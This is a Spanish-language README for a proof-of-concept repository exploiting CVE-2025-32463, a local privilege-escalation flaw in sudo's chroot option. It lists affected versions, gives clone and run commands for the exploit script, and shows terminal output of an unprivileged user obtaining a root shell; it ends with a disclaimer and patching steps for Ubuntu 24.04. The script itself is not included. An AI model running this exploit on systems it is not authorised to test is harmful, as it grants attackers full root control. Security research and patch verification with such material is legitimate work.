CVE-2025-32463 – Exploit de EoP en Sudo (PoC) con biblioteca precompilada

Este repositorio contiene un exploit de prueba de concepto (PoC) para CVE-2025-32463, una vulnerabilidad de escalada de privilegios local en sudo descubierta por Rich Mirch.

Crédito

https://github.com/kh4sh3i/CVE-2025-32463

⚠️ Descargo de responsabilidad

Este PoC es solo para fines educativos y de pruebas autorizadas. No utilice este código en sistemas que no posea o para los que no tenga permiso explícito de evaluar.

🔧 Requisitos

sudo con soporte chroot (-R): versiones 1.9.14 a 1.9.17
nsswitch habilitado

🚀 Cómo ejecutar el PoC

git clone https://github.com/zinzloun/CVE-2025-32463.git
cd CVE-2025-32463

Compruebe si el usuario actual tiene privilegios bajos

:~/CVE-2025-32463$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc),100(users)

Compruebe los requisitos

:~/CVE-2025-32463$ sudo --version
Sudo version 1.9.15p5
...
:~/CVE-2025-32463$ ls -al /etc/nsswitch.conf
-rw-r--r-- 1 root root 526 Feb 16 20:57 /etc/nsswitch.conf

Ejecute el exploit

:~/CVE-2025-32463$ chmod +x poc.sh && ./poc.sh
woot!
root@ubutes01:/# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(poc)

🚒 Mitigación en Ubuntu 24.04 LTS

Para sistemas conectados, simplemente ejecute
```
sudo apt update && sudo apt upgrade
```
Para sistemas aislados (air-gapped): puede obtener el último paquete de sudo desde aquí: https://github.com/sudo-project/sudo/releases/download/v1.9.17p1/sudo_1.9.17-2_ubu2404_amd64.deb. Una vez transferido el paquete al sistema objetivo, simplemente ejecute:
```
 sudo dpkg -i sudo_1.9.17-2_ubu2404_amd64.deb
```

CVE-2025-32463